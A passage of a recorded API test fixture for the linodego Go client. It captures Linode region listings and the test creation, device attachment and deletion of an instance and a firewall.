"Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-7hmr33m85s5o","root_pass":"SAQv5Q6)\u003e4Zp44Wi?EnpPt8vZ2fM#|9y\u003c$;G@\u0026e{*8Btd5}C3147u}$O0S\\da1Ef","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874175, "label": "go-test-ins-7hmr33m85s5o", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.237.118"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "64f3e61b2e736f99ca5f41dd36bbc57071b08d42", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "812" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692863, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"id":61874175,"type":"linode"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692863/devices method: POST response: body: '{"id": 1464174, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "entity": {"id": 61874175, "type": "linode", "label": "go-test-ins-7hmr33m85s5o", "url": "/v4/linode/instances/61874175"}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "206" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692863/devices/1464174 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692863/devices/1464174 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:48 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692863 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: 